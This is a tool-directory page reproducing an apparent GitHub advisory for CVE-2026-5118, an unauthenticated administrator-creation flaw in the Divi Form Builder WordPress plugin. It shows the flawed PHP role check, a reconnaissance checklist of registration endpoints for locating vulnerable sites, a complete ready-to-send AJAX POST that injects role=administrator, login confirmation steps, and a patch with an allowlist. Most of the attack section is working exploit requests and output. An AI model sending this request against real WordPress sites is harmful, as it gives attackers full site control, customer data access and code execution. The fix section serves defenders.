Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5118 β€” CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection | Kitploit
Tools/GitHubGitHub/zycoder0day/cve-2026-5118
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubzycoder0day/cve-2026-5118

CVE-2026-5118

CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection

View Repository
575 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

πŸ”₯ CVE-2026-5118

Divi Form Builder <= 5.1.2 β€” Unauthenticated Privilege Escalation


🎯 Summary

The Divi Form Builder WordPress plugin version 5.1.2 and earlier contains a Critical vulnerability that allows an unauthenticated attacker to create an Administrator account directly through the registration form.

One hidden field. One changed value. Full access to the entire website.


🧨 What an Attacker Can Do?

CapabilityImpact
πŸ”‘ Create admin account without loginFull Site Takeover
πŸ“¦ Access WooCommerce customer dataData Breach
πŸ’‰ Edit plugin/theme files (PHP)Remote Code Execution
πŸ•³οΈ Create hidden backdoorPersistent Access
πŸ‘₯ View all user dataPrivacy Violation

πŸ”¬ Vulnerability Analysis

Vulnerability Location

includes/shared/handlers/FormSubmissionHandler.php β†’ create_user()

Vulnerable Code

// Line ~1691: Get role from user input (WITHOUT SECURITY VALIDATION)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Line ~1702: Only checks IF role EXISTS in the system, NOT if it's SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';
}

// Line ~1745: Directly apply the injected role!
$user = new WP_User($user_id);
$user->set_role($role);  // ← "administrator" applied directly

Why This Works?

                    FLAWED VALIDATION FLOW
  β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
  β”‚  Attacker sends: role=administrator                  β”‚
  β”‚                    ↓                                  β”‚
  β”‚  sanitize_text_field() β†’ "administrator" (clean)     β”‚
  β”‚                    ↓                                  β”‚
  β”‚  isset($roles_obj->roles["administrator"]) β†’ TRUE   β”‚ ← BUG! Only checks EXISTENCE
  β”‚                    ↓                                  β”‚
  β”‚  $user->set_role("administrator") β†’ FULL ADMIN!      β”‚ ← PRIVESC!
  β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

  "administrator" IS a valid role in WordPress,
  so the isset() validation ALWAYS returns true.
  This function NEVER rejects dangerous roles.

Attack Vector

DFB registration form contains a hidden input:

<!-- Original developer value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">

<!-- Attacker simply changes its value -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">

πŸ› οΈ Proof of Concept β€” Attack Chain

Phase 1: Reconnaissance β€” Find the Target

[β˜…] Target Discovery: Divi Form Builder indicator
    β”œβ”€β”€ Endpoint scan: 50+ registration paths
    β”œβ”€β”€ Homepage link crawl: keyword priority
    β”œβ”€β”€ REST API: /wp-json/wp/v2/pages?search=register
    β”œβ”€β”€ Sitemap parsing: XML sitemap URLs
    β”œβ”€β”€ DFB REST API: /wp-json/divi-form-builder/v1
    β”œβ”€β”€ AJAX probe: de_fb_ajax_submit_ajax_handler
    β”œβ”€β”€ WooCommerce: /my-account/ sub-pages
    β”œβ”€β”€ robots.txt: custom sitemaps + disallow
    β”œβ”€β”€ Contact pages: hidden DFB forms
    └── wp-json deep: content-first scan
    
[βœ“] Found: <input class="df_hidden_user_role" value="customer">
[βœ“] Plugin version: v4.1.9 (VULNERABLE)
[βœ“] Multi-step form with reCAPTCHA v3

Phase 2: Extract Form Parameters

Required parameters:
  β”œβ”€β”€ fb_nonce:        [from hidden input / de_fb_obj]
  β”œβ”€β”€ form_key:        [from hidden input]
  β”œβ”€β”€ form_type:       register
  β”œβ”€β”€ divi-form-submit: yes
  └── role:            [INJECTION: administrator]

Field mapping:
  β”œβ”€β”€ de_fb_user_login + user_login    (both variants mandatory)
  β”œβ”€β”€ de_fb_user_email + user_email    
  β”œβ”€β”€ de_fb_user_pass  + user_pass     
  └── de_fb_pass_repeat               

Phase 3: Role Injection β€” Privilege Escalation

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest

------POC
Content-Disposition: form-data; name="action"

de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"

[nonce_from_form]
------POC
Content-Disposition: form-data; name="role"

administrator
------POC
Content-Disposition: form-data; name="form_type"

register
------POC
Content-Disposition: form-data; name="divi-form-submit"

yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"

attacker1337
------POC
Content-Disposition: form-data; name="user_login"

attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"

Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"

[email protected]
------POC
Content-Disposition: form-data; name="user_email"

[email protected]
------POC--

Phase 4: Verification β€” Administrator Access

[β†’] POST /wp-login.php
    user_login=attacker1337&user_pass=Str0ngP@ss!

[←] HTTP 302 β†’ /wp-admin/

[βœ“] FULL ADMINISTRATOR ACCESS CONFIRMED
    β”œβ”€β”€ Dashboard: /wp-admin/
    β”œβ”€β”€ Users:     Can create/delete any user
    β”œβ”€β”€ Plugins:   Can install/activate/edit PHP
    β”œβ”€β”€ Themes:    Can edit template files β†’ RCE
    └── Settings:  Full site control

πŸ§ͺ Lab Verification

Testing conducted in an isolated Docker environment (WordPress 6.5 + DFB v5.0.0):

╔══════════════════════════════════════════════════════╗
β•‘  LAB VERIFICATION RESULTS                              β•‘
╠══════════════════════════════════════════════════════╣
β•‘  Method: AJAX (admin-ajax.php)                        β•‘
β•‘  Role injected: administrator                          β•‘
β•‘  Response: "Registration successful!"                  β•‘
β•‘  Login: HTTP 302 β†’ /wp-admin/ βœ“                       β•‘
β•‘  ─────────────────────────────────────────────────     β•‘
β•‘  Method: Form POST (direct submission)                 β•‘
β•‘  Role injected: administrator                          β•‘
β•‘  Response: "Registration successful!"                  β•‘
β•‘  Login: HTTP 302 β†’ /wp-admin/ βœ“                       β•‘
β•‘  ─────────────────────────────────────────────────     β•‘
β•‘  Status: β˜… PWNED β€” Full Admin Access β˜…               β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•

πŸ”§ Recommended Fix

Solution: Allowlist Registration Roles

// BEFORE (vulnerable):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) 
    && !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';  // ← Only checks EXISTENCE, not SAFETY
}

// AFTER (secure):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';

// Only allow roles safe for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
    $role = 'subscriber';  // ← Reject all dangerous roles
}

Additional Steps

  1. Remove the role parameter from the frontend form β€” Use the existing default_user_role
  2. Add strict nonce verification on the AJAX handler
  3. Add capability check current_user_can('create_users') for special roles
  4. Rate limiting on the registration endpoint to prevent brute-force

πŸ“Š Timeline

Download Tool